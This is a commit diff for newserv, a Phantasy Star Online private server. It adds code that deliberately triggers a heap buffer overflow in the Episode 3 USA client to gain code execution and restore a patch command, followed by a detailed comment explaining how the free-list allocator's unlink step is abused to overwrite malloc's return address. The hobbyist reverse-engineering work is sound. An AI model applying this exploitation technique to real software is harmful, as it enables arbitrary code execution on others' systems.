add Ep3 USA patch function
This commit is contained in:
@@ -64,6 +64,7 @@ Client::Client(
|
||||
can_chat(true),
|
||||
pending_bb_save_player_index(0),
|
||||
proxy_block_events(false),
|
||||
proxy_block_function_calls(false),
|
||||
proxy_save_files(false),
|
||||
proxy_suppress_remote_login(false),
|
||||
proxy_zero_remote_guild_card(false),
|
||||
|
||||
+19
-15
@@ -33,40 +33,43 @@ struct Client {
|
||||
// Note that this flag is NOT set for Episode 3 Trial Edition clients, since
|
||||
// that version is similar enough to the release version of Episode 3 that
|
||||
// newserv does not have to change its behavior at all.
|
||||
IS_TRIAL_EDITION = 0x2000,
|
||||
IS_TRIAL_EDITION = 0x2000,
|
||||
// Client is DC v1
|
||||
IS_DC_V1 = 0x0010,
|
||||
IS_DC_V1 = 0x0010,
|
||||
// For patch server clients, client is Blue Burst rather than PC
|
||||
IS_BB_PATCH = 0x0001,
|
||||
IS_BB_PATCH = 0x0001,
|
||||
// After joining a lobby, client will no longer send D6 commands when they
|
||||
// close message boxes
|
||||
NO_D6_AFTER_LOBBY = 0x0002,
|
||||
NO_D6_AFTER_LOBBY = 0x0002,
|
||||
// Client has the above flag and has already joined a lobby, or is not GC
|
||||
NO_D6 = 0x0004,
|
||||
NO_D6 = 0x0004,
|
||||
// Client is Episode 3, should be able to see CARD lobbies, and should only
|
||||
// be able to see/join games with the EPISODE_3_ONLY flag
|
||||
IS_EPISODE_3 = 0x0008,
|
||||
IS_EPISODE_3 = 0x0008,
|
||||
// Client disconnects if it receives B2 (send_function_call)
|
||||
NO_SEND_FUNCTION_CALL = 0x0200,
|
||||
NO_SEND_FUNCTION_CALL = 0x0200,
|
||||
// Client requires doubly-encrypted code section in send_function_call
|
||||
ENCRYPTED_SEND_FUNCTION_CALL = 0x0800,
|
||||
ENCRYPTED_SEND_FUNCTION_CALL = 0x0800,
|
||||
// Client supports send_function_call but does not actually run the code
|
||||
SEND_FUNCTION_CALL_CHECKSUM_ONLY = 0x1000,
|
||||
SEND_FUNCTION_CALL_CHECKSUM_ONLY = 0x1000,
|
||||
// Client is vulnerable to a buffer overflow that we can use to enable
|
||||
// send_function_call
|
||||
USE_OVERFLOW_FOR_SEND_FUNCTION_CALL = 0x8000,
|
||||
|
||||
// Client is loading into a game
|
||||
LOADING = 0x0020,
|
||||
LOADING = 0x0020,
|
||||
// Client is loading a quest
|
||||
LOADING_QUEST = 0x0040,
|
||||
LOADING_QUEST = 0x0040,
|
||||
// Client is in the information menu (login server only)
|
||||
IN_INFORMATION_MENU = 0x0080,
|
||||
IN_INFORMATION_MENU = 0x0080,
|
||||
// Client is at the welcome message (login server only)
|
||||
AT_WELCOME_MESSAGE = 0x0100,
|
||||
AT_WELCOME_MESSAGE = 0x0100,
|
||||
// Client has already received a 97 (enable saves) command, so don't show
|
||||
// the programs menu anymore
|
||||
SAVE_ENABLED = 0x0400,
|
||||
SAVE_ENABLED = 0x0400,
|
||||
// Client has received newserv's Episode 3 card definitions, so don't send
|
||||
// them again
|
||||
HAS_EP3_CARD_DEFS = 0x4000,
|
||||
HAS_EP3_CARD_DEFS = 0x4000,
|
||||
};
|
||||
|
||||
uint64_t id;
|
||||
@@ -121,6 +124,7 @@ struct Client {
|
||||
uint8_t pending_bb_save_player_index;
|
||||
|
||||
bool proxy_block_events;
|
||||
bool proxy_block_function_calls;
|
||||
bool proxy_save_files;
|
||||
bool proxy_suppress_remote_login;
|
||||
bool proxy_zero_remote_guild_card;
|
||||
|
||||
@@ -1513,7 +1513,8 @@ struct C_Register_BB_9C {
|
||||
struct C_Login_DC_PC_GC_9D {
|
||||
le_uint32_t player_tag; // 0x00010000 if guild card is set (via 04)
|
||||
le_uint32_t guild_card_number; // 0xFFFFFFFF if not set
|
||||
le_uint64_t unused;
|
||||
le_uint32_t unused1;
|
||||
le_uint32_t unused2;
|
||||
le_uint32_t sub_version;
|
||||
uint8_t is_extended; // If 1, structure has extended format
|
||||
uint8_t language; // 0 = JP, 1 = EN, 2 = DE, 3 = FR, 4 = ES
|
||||
|
||||
@@ -141,6 +141,12 @@ void populate_state_from_config(shared_ptr<ServerState> s,
|
||||
s->item_tracking_enabled = true;
|
||||
}
|
||||
|
||||
try {
|
||||
s->episode_3_send_function_call_enabled = d.at("EnableEpisode3SendFunctionCall")->as_bool();
|
||||
} catch (const out_of_range&) {
|
||||
s->episode_3_send_function_call_enabled = false;
|
||||
}
|
||||
|
||||
shared_ptr<JSONObject> log_levels_json;
|
||||
try {
|
||||
log_levels_json = d.at("LogLevels");
|
||||
|
||||
+4
-3
@@ -59,9 +59,10 @@ namespace ProxyOptionsMenuItemID {
|
||||
constexpr uint32_t INFINITE_TP = 0xAA2222AA;
|
||||
constexpr uint32_t SWITCH_ASSIST = 0xAA3333AA;
|
||||
constexpr uint32_t BLOCK_EVENTS = 0xAA4444AA;
|
||||
constexpr uint32_t SAVE_FILES = 0xAA5555AA;
|
||||
constexpr uint32_t SUPPRESS_LOGIN = 0xAA6666AA;
|
||||
constexpr uint32_t SKIP_CARD = 0xAA7777AA;
|
||||
constexpr uint32_t BLOCK_PATCHES = 0xAA5555AA;
|
||||
constexpr uint32_t SAVE_FILES = 0xAA6666AA;
|
||||
constexpr uint32_t SUPPRESS_LOGIN = 0xAA7777AA;
|
||||
constexpr uint32_t SKIP_CARD = 0xAA8888AA;
|
||||
}
|
||||
|
||||
|
||||
|
||||
+55
-45
@@ -172,7 +172,8 @@ static HandlerResult S_G_9A(shared_ptr<ServerState>,
|
||||
cmd.player_tag = 0x00010000;
|
||||
cmd.guild_card_number = session.remote_guild_card_number;
|
||||
}
|
||||
cmd.unused = 0;
|
||||
cmd.unused1 = 0;
|
||||
cmd.unused2 = 0;
|
||||
cmd.sub_version = session.sub_version;
|
||||
cmd.is_extended = (session.remote_guild_card_number < 0) ? 0 : 1;
|
||||
cmd.language = session.language;
|
||||
@@ -322,7 +323,8 @@ static HandlerResult S_V123P_02_17(
|
||||
cmd.player_tag = 0x00010000;
|
||||
cmd.guild_card_number = session.remote_guild_card_number;
|
||||
}
|
||||
cmd.unused = 0;
|
||||
cmd.unused1 = 0;
|
||||
cmd.unused2 = 0;
|
||||
cmd.sub_version = session.sub_version;
|
||||
cmd.is_extended = 0;
|
||||
cmd.language = session.language;
|
||||
@@ -371,7 +373,8 @@ static HandlerResult S_V123P_02_17(
|
||||
C_LoginExtended_GC_9E cmd;
|
||||
cmd.player_tag = 0x00010000;
|
||||
cmd.guild_card_number = guild_card_number;
|
||||
cmd.unused = 0;
|
||||
cmd.unused1 = 0;
|
||||
cmd.unused2 = 0;
|
||||
cmd.sub_version = session.sub_version;
|
||||
cmd.is_extended = 0;
|
||||
cmd.language = session.language;
|
||||
@@ -936,14 +939,14 @@ static HandlerResult S_6x(shared_ptr<ServerState>,
|
||||
template <typename T>
|
||||
static HandlerResult S_44_A6(shared_ptr<ServerState>,
|
||||
ProxyServer::LinkedSession& session, uint16_t command, uint32_t, string& data) {
|
||||
if (session.save_files) {
|
||||
const auto& cmd = check_size_t<S_OpenFile_PC_V3_44_A6>(data);
|
||||
bool is_download_quest = (command == 0xA6);
|
||||
const auto& cmd = check_size_t<S_OpenFile_PC_V3_44_A6>(data);
|
||||
|
||||
string filename = cmd.filename;
|
||||
string output_filename = string_printf("%s.%s.%" PRIu64,
|
||||
string filename = cmd.filename;
|
||||
string output_filename;
|
||||
if (session.save_files) {
|
||||
output_filename = string_printf("%s.%s.%" PRIu64,
|
||||
filename.c_str(),
|
||||
is_download_quest ? "download" : "online", now());
|
||||
(command == 0xA6) ? "download" : "online", now());
|
||||
for (size_t x = 0; x < output_filename.size(); x++) {
|
||||
if (output_filename[x] < 0x20 || output_filename[x] > 0x7E || output_filename[x] == '/') {
|
||||
output_filename[x] = '_';
|
||||
@@ -952,12 +955,17 @@ static HandlerResult S_44_A6(shared_ptr<ServerState>,
|
||||
if (output_filename[0] == '.') {
|
||||
output_filename[0] = '_';
|
||||
}
|
||||
|
||||
ProxyServer::LinkedSession::SavingFile sf(
|
||||
cmd.filename, output_filename, cmd.file_size);
|
||||
session.saving_files.emplace(cmd.filename, move(sf));
|
||||
session.log.info("Opened file %s", output_filename.c_str());
|
||||
}
|
||||
|
||||
ProxyServer::LinkedSession::SavingFile sf(
|
||||
cmd.filename, output_filename, cmd.file_size);
|
||||
session.saving_files.emplace(cmd.filename, move(sf));
|
||||
if (session.save_files) {
|
||||
session.log.info("Opened file %s", output_filename.c_str());
|
||||
} else {
|
||||
session.log.info("Tracking file %s", filename.c_str());
|
||||
}
|
||||
|
||||
return HandlerResult::Type::FORWARD;
|
||||
}
|
||||
|
||||
@@ -967,39 +975,41 @@ constexpr on_command_t S_B_44_A6 = &S_44_A6<S_OpenFile_BB_44_A6>;
|
||||
|
||||
static HandlerResult S_13_A7(shared_ptr<ServerState>,
|
||||
ProxyServer::LinkedSession& session, uint16_t, uint32_t, string& data) {
|
||||
if (session.save_files) {
|
||||
const auto& cmd = check_size_t<S_WriteFile_13_A7>(data);
|
||||
auto& cmd = check_size_t<S_WriteFile_13_A7>(data);
|
||||
bool modified = false;
|
||||
|
||||
ProxyServer::LinkedSession::SavingFile* sf = nullptr;
|
||||
try {
|
||||
sf = &session.saving_files.at(cmd.filename);
|
||||
} catch (const out_of_range&) {
|
||||
string filename = cmd.filename;
|
||||
session.log.warning("Received data for non-open file %s", filename.c_str());
|
||||
return HandlerResult::Type::FORWARD;
|
||||
}
|
||||
|
||||
size_t bytes_to_write = cmd.data_size;
|
||||
if (bytes_to_write > 0x400) {
|
||||
session.log.warning("Chunk data size is invalid; truncating to 0x400");
|
||||
bytes_to_write = 0x400;
|
||||
}
|
||||
|
||||
session.log.info("Writing %zu bytes to %s", bytes_to_write, sf->output_filename.c_str());
|
||||
fwritex(sf->f.get(), cmd.data, bytes_to_write);
|
||||
if (bytes_to_write > sf->remaining_bytes) {
|
||||
session.log.warning("Chunk size extends beyond original file size; file may be truncated");
|
||||
sf->remaining_bytes = 0;
|
||||
} else {
|
||||
sf->remaining_bytes -= bytes_to_write;
|
||||
}
|
||||
|
||||
if (sf->remaining_bytes == 0) {
|
||||
session.log.info("File %s is complete", sf->output_filename.c_str());
|
||||
session.saving_files.erase(cmd.filename);
|
||||
}
|
||||
ProxyServer::LinkedSession::SavingFile* sf = nullptr;
|
||||
try {
|
||||
sf = &session.saving_files.at(cmd.filename);
|
||||
} catch (const out_of_range&) {
|
||||
string filename = cmd.filename;
|
||||
session.log.warning("Received data for non-open file %s", filename.c_str());
|
||||
return HandlerResult::Type::FORWARD;
|
||||
}
|
||||
return HandlerResult::Type::FORWARD;
|
||||
|
||||
if (cmd.data_size > sf->remaining_bytes) {
|
||||
session.log.warning("Chunk size extends beyond original file size; truncating file");
|
||||
cmd.data_size = sf->remaining_bytes;
|
||||
modified = true;
|
||||
} else if (cmd.data_size > 0x400) {
|
||||
session.log.warning("Chunk data size is invalid; truncating to 0x400");
|
||||
cmd.data_size = 0x400;
|
||||
modified = true;
|
||||
}
|
||||
|
||||
if (sf->f.get()) {
|
||||
session.log.info("Writing %" PRIu32 " bytes to %s",
|
||||
cmd.data_size.load(), sf->output_filename.c_str());
|
||||
fwritex(sf->f.get(), cmd.data, cmd.data_size);
|
||||
}
|
||||
sf->remaining_bytes -= cmd.data_size;
|
||||
|
||||
if (sf->remaining_bytes == 0) {
|
||||
session.log.info("Closing file %s", sf->output_filename.c_str());
|
||||
session.saving_files.erase(cmd.filename);
|
||||
}
|
||||
|
||||
return modified ? HandlerResult::Type::MODIFIED : HandlerResult::Type::FORWARD;
|
||||
}
|
||||
|
||||
static HandlerResult S_G_B7(shared_ptr<ServerState>,
|
||||
|
||||
+5
-2
@@ -626,8 +626,11 @@ ProxyServer::LinkedSession::SavingFile::SavingFile(
|
||||
uint32_t remaining_bytes)
|
||||
: basename(basename),
|
||||
output_filename(output_filename),
|
||||
remaining_bytes(remaining_bytes),
|
||||
f(fopen_unique(this->output_filename, "wb")) { }
|
||||
remaining_bytes(remaining_bytes) {
|
||||
if (!this->output_filename.empty()) {
|
||||
this->f = fopen_unique(this->output_filename, "wb");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
+3
-3
@@ -659,9 +659,9 @@ string Quest::decode_gci(
|
||||
} else if (header.game_id[2] == 'S') { // Episode 3
|
||||
// The first 0x10 bytes in the data segment appear to be unused. In most
|
||||
// files I've seen, the last half of it (8 bytes) are duplicates of the
|
||||
// first 8 bytes of the unscrambled, compressed data, though this is likely
|
||||
// the result of an uninitialized memory bug when the client encodes the
|
||||
// file and not an actual constraint on what should be in these 8 bytes.
|
||||
// first 8 bytes of the unscrambled, compressed data, though this is the
|
||||
// result of an uninitialized memory bug when the client encodes the file
|
||||
// and not an actual constraint on what should be in these 8 bytes.
|
||||
r.skip(16);
|
||||
// The game treats this field as a 16-byte string (including the \0). The 8
|
||||
// bytes after it appear to be completely unused.
|
||||
|
||||
+36
-3
@@ -67,7 +67,8 @@ static const unordered_map<uint32_t, const char16_t*> proxy_options_menu_descrip
|
||||
{ProxyOptionsMenuItemID::INFINITE_HP, u"If enabled, the proxy\nwill restore your HP\nwhen you are hit by\nan enemy or trap,\nbut cannot revive\nyou from one-hit\nkills"},
|
||||
{ProxyOptionsMenuItemID::INFINITE_TP, u"If enabled, the proxy\nwill restore your TP\nwhen you cast any\ntechnique"},
|
||||
{ProxyOptionsMenuItemID::SWITCH_ASSIST, u"If enabled, the proxy\nwill attempt to\nunlock 2-player\ndoors when you step\non both switches\nsequentially"},
|
||||
{ProxyOptionsMenuItemID::BLOCK_EVENTS, u"If enabled, season\nevents in the lobby\nand in games are\ndisabled."},
|
||||
{ProxyOptionsMenuItemID::BLOCK_EVENTS, u"If enabled, seasonal\nevents in the lobby\nand in games are\ndisabled."},
|
||||
{ProxyOptionsMenuItemID::BLOCK_PATCHES, u"If enabled, patches\nsent by the remote\nserver are blocked."},
|
||||
{ProxyOptionsMenuItemID::SAVE_FILES, u"If enabled, the proxy\nwill save local\ncopies of files from\nthe remote server\n(quests, etc.)"},
|
||||
{ProxyOptionsMenuItemID::SUPPRESS_LOGIN, u"If enabled, the proxy\nwill use an alternate\nlogin sequence"},
|
||||
{ProxyOptionsMenuItemID::SKIP_CARD, u"If enabled, the proxy\nwill use an alternate\nvalue for your initial\nGuild Card"},
|
||||
@@ -91,6 +92,8 @@ static vector<MenuItem> proxy_options_menu_for_client(
|
||||
}
|
||||
ret.emplace_back(ProxyOptionsMenuItemID::BLOCK_EVENTS,
|
||||
c->proxy_block_events ? u"Block events ON" : u"Block events OFF", u"", 0);
|
||||
ret.emplace_back(ProxyOptionsMenuItemID::BLOCK_PATCHES,
|
||||
c->proxy_block_function_calls ? u"Block patches ON" : u"Block patches OFF", u"", 0);
|
||||
ret.emplace_back(ProxyOptionsMenuItemID::SAVE_FILES,
|
||||
c->proxy_save_files ? u"Save files ON" : u"Save files OFF", u"", 0);
|
||||
ret.emplace_back(ProxyOptionsMenuItemID::SUPPRESS_LOGIN,
|
||||
@@ -127,6 +130,9 @@ static void send_client_to_proxy_server(shared_ptr<ServerState> s, shared_ptr<Cl
|
||||
if (c->proxy_block_events) {
|
||||
session->override_lobby_event = 0;
|
||||
}
|
||||
if (c->proxy_block_function_calls) {
|
||||
session->function_call_return_value = 0xFFFFFFFF;
|
||||
}
|
||||
if (c->proxy_zero_remote_guild_card) {
|
||||
session->remote_guild_card_number = 0;
|
||||
} else {
|
||||
@@ -152,6 +158,20 @@ static void send_proxy_destinations_menu(shared_ptr<ServerState> s, shared_ptr<C
|
||||
} catch (const out_of_range&) { }
|
||||
}
|
||||
|
||||
static bool send_enable_send_function_call_if_applicable(
|
||||
shared_ptr<ServerState> s, shared_ptr<Client> c) {
|
||||
if (c->flags & Client::Flag::USE_OVERFLOW_FOR_SEND_FUNCTION_CALL) {
|
||||
if (s->episode_3_send_function_call_enabled) {
|
||||
send_quest_buffer_overflow(s, c);
|
||||
} else {
|
||||
c->flags |= Client::Flag::NO_SEND_FUNCTION_CALL;
|
||||
}
|
||||
c->flags &= ~Client::Flag::USE_OVERFLOW_FOR_SEND_FUNCTION_CALL;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
@@ -210,6 +230,9 @@ void on_login_complete(shared_ptr<ServerState> s, shared_ptr<Client> c) {
|
||||
(c->flags & Client::Flag::NO_D6) ||
|
||||
!(c->flags & Client::Flag::AT_WELCOME_MESSAGE)) {
|
||||
c->flags &= ~Client::Flag::AT_WELCOME_MESSAGE;
|
||||
if (send_enable_send_function_call_if_applicable(s, c)) {
|
||||
send_update_client_config(c);
|
||||
}
|
||||
send_menu(c, s->name.c_str(), MenuID::MAIN, s->main_menu);
|
||||
} else {
|
||||
send_message_box(c, s->welcome_message.c_str());
|
||||
@@ -637,6 +660,13 @@ static void on_login_d_e_dc_pc_v3(shared_ptr<ServerState> s, shared_ptr<Client>
|
||||
}
|
||||
|
||||
set_console_client_flags(c, base_cmd->sub_version);
|
||||
// See system/ppc/Episode3USAQuestBufferOverflow.s for where this value gets
|
||||
// set. We use this to determine if the client has already run the code or
|
||||
// not; sending it again when the client has already run it will likely cause
|
||||
// the client to crash.
|
||||
if (base_cmd->unused1 == 0x5F5CA297) {
|
||||
c->flags &= ~(Client::Flag::USE_OVERFLOW_FOR_SEND_FUNCTION_CALL | Client::Flag::NO_SEND_FUNCTION_CALL);
|
||||
}
|
||||
|
||||
uint32_t serial_number = stoul(base_cmd->serial_number, nullptr, 16);
|
||||
try {
|
||||
@@ -687,7 +717,6 @@ static void on_login_d_e_dc_pc_v3(shared_ptr<ServerState> s, shared_ptr<Client>
|
||||
}
|
||||
|
||||
send_update_client_config(c);
|
||||
|
||||
on_login_complete(s, c);
|
||||
}
|
||||
|
||||
@@ -985,9 +1014,10 @@ static void on_message_box_closed(shared_ptr<ServerState> s, shared_ptr<Client>
|
||||
send_menu(c, u"Information", MenuID::INFORMATION,
|
||||
*s->information_menu_for_version(c->version()));
|
||||
} else if (c->flags & Client::Flag::AT_WELCOME_MESSAGE) {
|
||||
send_menu(c, s->name.c_str(), MenuID::MAIN, s->main_menu);
|
||||
send_enable_send_function_call_if_applicable(s, c);
|
||||
c->flags &= ~Client::Flag::AT_WELCOME_MESSAGE;
|
||||
send_update_client_config(c);
|
||||
send_menu(c, s->name.c_str(), MenuID::MAIN, s->main_menu);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1301,6 +1331,9 @@ static void on_menu_selection(shared_ptr<ServerState> s, shared_ptr<Client> c,
|
||||
case ProxyOptionsMenuItemID::BLOCK_EVENTS:
|
||||
c->proxy_block_events = !c->proxy_block_events;
|
||||
goto resend_proxy_options_menu;
|
||||
case ProxyOptionsMenuItemID::BLOCK_PATCHES:
|
||||
c->proxy_block_function_calls = !c->proxy_block_function_calls;
|
||||
goto resend_proxy_options_menu;
|
||||
case ProxyOptionsMenuItemID::SAVE_FILES:
|
||||
c->proxy_save_files = !c->proxy_save_files;
|
||||
goto resend_proxy_options_menu;
|
||||
|
||||
+68
-39
@@ -243,6 +243,74 @@ void send_update_client_config(shared_ptr<Client> c) {
|
||||
|
||||
|
||||
|
||||
template <typename CommandT>
|
||||
void send_quest_open_file_t(
|
||||
shared_ptr<Client> c,
|
||||
const string& quest_name,
|
||||
const string& filename,
|
||||
uint32_t file_size,
|
||||
QuestFileType type) {
|
||||
CommandT cmd;
|
||||
uint8_t command_num;
|
||||
switch (type) {
|
||||
case QuestFileType::ONLINE:
|
||||
command_num = 0x44;
|
||||
cmd.name = "PSO/" + quest_name;
|
||||
cmd.flags = 2;
|
||||
break;
|
||||
case QuestFileType::GBA_DEMO:
|
||||
command_num = 0xA6;
|
||||
cmd.name = "GBA Demo";
|
||||
cmd.flags = 2;
|
||||
break;
|
||||
case QuestFileType::DOWNLOAD:
|
||||
command_num = 0xA6;
|
||||
cmd.name = "PSO/" + quest_name;
|
||||
cmd.flags = 0;
|
||||
break;
|
||||
case QuestFileType::EPISODE_3:
|
||||
command_num = 0xA6;
|
||||
cmd.name = "PSO/" + quest_name;
|
||||
cmd.flags = 3;
|
||||
break;
|
||||
default:
|
||||
throw logic_error("invalid quest file type");
|
||||
}
|
||||
cmd.unused.clear(0);
|
||||
cmd.file_size = file_size;
|
||||
cmd.filename = filename.c_str();
|
||||
send_command_t(c, command_num, 0x00, cmd);
|
||||
}
|
||||
|
||||
void send_quest_buffer_overflow(
|
||||
shared_ptr<ServerState> s, shared_ptr<Client> c) {
|
||||
// TODO: Figure out a way to share this state across sessions. Maybe we could
|
||||
// e.g. modify send_1D to send a nonzero flag value, which we could use to
|
||||
// know that the client already has this patch? Or just add another command in
|
||||
// the login sequence?
|
||||
|
||||
// PSO Episode 3 USA doesn't natively support the B2 command, but we can add
|
||||
// it back to the game with some tricky commands. For details on how this
|
||||
// works, see system/ppc/Episode3USAQuestBufferOverflow.s.
|
||||
auto fn = s->function_code_index->name_to_function.at("Episode3USAQuestBufferOverflow");
|
||||
if (fn->code.size() > 0x400) {
|
||||
throw runtime_error("Episode 3 buffer overflow code must be a single segment");
|
||||
}
|
||||
|
||||
static const string filename = "m999999p_e.bin";
|
||||
send_quest_open_file_t<S_OpenFile_PC_V3_44_A6>(
|
||||
c, "BufferOverflow", filename, 0x18, QuestFileType::EPISODE_3);
|
||||
|
||||
S_WriteFile_13_A7 cmd;
|
||||
cmd.filename = filename;
|
||||
memcpy(cmd.data, fn->code.data(), fn->code.size());
|
||||
if (fn->code.size() < 0x400) {
|
||||
memset(&cmd.data[fn->code.size()], 0, 0x400 - fn->code.size());
|
||||
}
|
||||
cmd.data_size = fn->code.size();
|
||||
send_command_t(c, 0xA7, 0x00, cmd);
|
||||
}
|
||||
|
||||
void send_function_call(
|
||||
shared_ptr<Client> c,
|
||||
shared_ptr<CompiledFunctionCode> code,
|
||||
@@ -1727,45 +1795,6 @@ void set_mask_for_ep3_game_command(void* vdata, size_t size, uint8_t mask_key) {
|
||||
|
||||
|
||||
|
||||
template <typename CommandT>
|
||||
void send_quest_open_file_t(
|
||||
shared_ptr<Client> c,
|
||||
const string& quest_name,
|
||||
const string& filename,
|
||||
uint32_t file_size,
|
||||
QuestFileType type) {
|
||||
CommandT cmd;
|
||||
uint8_t command_num;
|
||||
switch (type) {
|
||||
case QuestFileType::ONLINE:
|
||||
command_num = 0x44;
|
||||
cmd.name = "PSO/" + quest_name;
|
||||
cmd.flags = 2;
|
||||
break;
|
||||
case QuestFileType::GBA_DEMO:
|
||||
command_num = 0xA6;
|
||||
cmd.name = "GBA Demo";
|
||||
cmd.flags = 2;
|
||||
break;
|
||||
case QuestFileType::DOWNLOAD:
|
||||
command_num = 0xA6;
|
||||
cmd.name = "PSO/" + quest_name;
|
||||
cmd.flags = 0;
|
||||
break;
|
||||
case QuestFileType::EPISODE_3:
|
||||
command_num = 0xA6;
|
||||
cmd.name = "PSO/" + quest_name;
|
||||
cmd.flags = 3;
|
||||
break;
|
||||
default:
|
||||
throw logic_error("invalid quest file type");
|
||||
}
|
||||
cmd.unused.clear(0);
|
||||
cmd.file_size = file_size;
|
||||
cmd.filename = filename.c_str();
|
||||
send_command_t(c, command_num, 0x00, cmd);
|
||||
}
|
||||
|
||||
void send_quest_file_chunk(
|
||||
shared_ptr<Client> c,
|
||||
const string& filename,
|
||||
|
||||
@@ -122,6 +122,8 @@ void send_server_init(
|
||||
uint8_t flags);
|
||||
void send_update_client_config(std::shared_ptr<Client> c);
|
||||
|
||||
void send_quest_buffer_overflow(
|
||||
std::shared_ptr<ServerState> s, std::shared_ptr<Client> c);
|
||||
void send_function_call(
|
||||
std::shared_ptr<Client> c,
|
||||
std::shared_ptr<CompiledFunctionCode> code,
|
||||
|
||||
@@ -22,6 +22,7 @@ ServerState::ServerState()
|
||||
allow_unregistered_users(false),
|
||||
allow_saving(true),
|
||||
item_tracking_enabled(true),
|
||||
episode_3_send_function_call_enabled(false),
|
||||
run_shell_behavior(RunShellBehavior::DEFAULT), next_lobby_id(1),
|
||||
pre_lobby_event(0),
|
||||
ep3_menu_song(-1) {
|
||||
|
||||
@@ -49,6 +49,7 @@ struct ServerState {
|
||||
bool allow_unregistered_users;
|
||||
bool allow_saving;
|
||||
bool item_tracking_enabled;
|
||||
bool episode_3_send_function_call_enabled;
|
||||
RunShellBehavior run_shell_behavior;
|
||||
std::vector<std::shared_ptr<const PSOBBEncryption::KeyFile>> bb_private_keys;
|
||||
std::shared_ptr<const FunctionCodeIndex> function_code_index;
|
||||
|
||||
@@ -70,6 +70,9 @@ uint16_t flags_for_version(GameVersion version, int64_t sub_version) {
|
||||
Client::Flag::IS_EPISODE_3 |
|
||||
Client::Flag::ENCRYPTED_SEND_FUNCTION_CALL;
|
||||
case 0x41: // GC Ep3 US
|
||||
return Client::Flag::NO_D6_AFTER_LOBBY |
|
||||
Client::Flag::IS_EPISODE_3 |
|
||||
Client::Flag::USE_OVERFLOW_FOR_SEND_FUNCTION_CALL;
|
||||
case 0x43: // GC Ep3 EU
|
||||
return Client::Flag::NO_D6_AFTER_LOBBY |
|
||||
Client::Flag::IS_EPISODE_3 |
|
||||
|
||||
@@ -248,6 +248,12 @@
|
||||
// they are at the newserv main menu. If set, this value must be an integer.
|
||||
// "Episode3MenuSong": 0,
|
||||
|
||||
// Whether to enable patches on Episode 3 USA. This functionality depends on
|
||||
// exploiting a bug in Episode 3, and while it seems to work reliably on
|
||||
// Dolphin, it hasn't been tested on a real GameCube. So, newserv doesn't
|
||||
// enable Episode 3 patches by default; it only does so if this option is on.
|
||||
// "EnableEpisode3SendFunctionCall": true,
|
||||
|
||||
// By default, the server keeps track of items in all games, even for versions
|
||||
// other than Blue Burst. This enables use of the $what command, as well as
|
||||
// protection against item duplication cheats (the cheater is disconnected
|
||||
|
||||
@@ -0,0 +1,352 @@
|
||||
# There is a buffer overflow bug in PSO Episode 3 that this program uses to
|
||||
# achieve arbitrary code execution. (This bug is likely present in all versions
|
||||
# of PSO, but the code here is specific to the USA version of Episode 3.) This
|
||||
# is only necessary because the non-Japanese versions of Episode 3 lack the B2
|
||||
# command, which is used on other console PSO versions to send patches and other
|
||||
# bits of code. Here, we use a buffer overflow bug to re-implement the B2
|
||||
# command, which allows the server to treat PSO Episode 3 like any other version
|
||||
# of PSO with respect to patching or loading DOL files.
|
||||
|
||||
# For some background, PSO sends download quest files via the A6 and A7
|
||||
# commands. The A6 command is used to start sending a download quest file; it
|
||||
# includes the quest name, file name, and total file size. The A7 command is
|
||||
# used to send a chunk of 1KB (0x400 bytes) of data, or less if it's the final
|
||||
# chunk of the file. When the client receives an A6 command for a filename
|
||||
# ending in .bin, it allocates a buffer of (file size + 0x48) bytes. When it
|
||||
# later receives an A7 command, it copies (cmd.data_size) bytes from the command
|
||||
# to position (8 + 0x100 * flag) in the buffer, then if cmd.data_size was less
|
||||
# than 0x400, it marks the file as done and postprocesses it.
|
||||
|
||||
# However, the client neglects to check if the last chunk overflows the end of
|
||||
# the buffer before copying the chunk data. In this function, we send an A6
|
||||
# command with an overall file size of only 0x18 bytes, then we send a chunk of
|
||||
# 0x200 or so bytes (the compiled size of the code in this file), which
|
||||
# overflows past the end of the allocated buffer and overwrites part of a free
|
||||
# block after the allocated buffer. The memory allocator library keeps some of
|
||||
# its bookkeeping structures at the beginning of this free block, which we use
|
||||
# to cause the next call to malloc() to overwrite its own return address on the
|
||||
# stack. Conveniently, this call happens soon afterward, during the
|
||||
# postprocessing step.
|
||||
|
||||
# The PSO memory allocator is a simple free-list allocator. The allocator
|
||||
# maintains two linked lists of blocks: one for allocated blocks and one for
|
||||
# free blocks. The list of free blocks is sorted in order of memory address, but
|
||||
# the list of allocated blocks is sorted in the order they were allocated. (The
|
||||
# order of the allocated block list does not matter for the allocator's
|
||||
# performance or correctness.)
|
||||
|
||||
# Each block begins with two pointers, prev and next, which point to other
|
||||
# blocks in the allocated or free list. (As with a typical doubly-linked list,
|
||||
# the first block has prev == nullptr and the last block has next == nullptr;
|
||||
# there is no sentinel node on either end.) After these two pointers is the
|
||||
# block's size in bytes, followed by 0x14 unused bytes. The block data
|
||||
# immediately follows this 0x20-byte header structure. All block sizes are
|
||||
# rounded up to a multiple of 0x20 bytes.
|
||||
|
||||
# The malloc() routine simply searches for the first free block that has enough
|
||||
# space to satisfy the request, and either splits it into an allocated and a
|
||||
# free block (if the free block's size is at least 0x40 bytes more than the
|
||||
# requested size), or converts the free block entirely into an allocated block
|
||||
# and returns it. It is the second case that we take advantage of here.
|
||||
|
||||
# When we send our A7 command containing this program, the first 0x58 bytes of
|
||||
# it fill the quest file data buffer. The next 0x0C bytes of it overwrite the
|
||||
# header fields of the following free block (noted below in the comments), and
|
||||
# the remainder of the data goes into that block's unused header fields and the
|
||||
# block's data (which is also otherwise unused, since it is a free block). We
|
||||
# overwrite the free block's prev and next pointers with specific nonzero values
|
||||
# and overwrite the size with the exact size that the caller will request, so we
|
||||
# trigger the malloc() case that does not split the free block. When that code
|
||||
# attempts to remove the free block from its doubly-linked list, it writes
|
||||
# block->next to block->prev->next and block->prev to block->next->prev. We set
|
||||
# block->prev to the address where we want execution to jump to (the start label
|
||||
# here), and block->next to the address of malloc()'s return address on the
|
||||
# stack. This overwrites the return address with the start label's address, and
|
||||
# overwrites the word after the start label with an address within the stack. We
|
||||
# can't avoid this second write since both pointers must be non-null and the
|
||||
# values and addresses written are dependent on each other, but we can just use
|
||||
# a branch opcode to ignore the value that gets written into our code.
|
||||
|
||||
# Once we have control, we clean up the allocator state (restoring the free
|
||||
# block as it was before we overwrote its header), then copy our implementation
|
||||
# of the B2 command to an otherwise-unused are of memory and apply a few more
|
||||
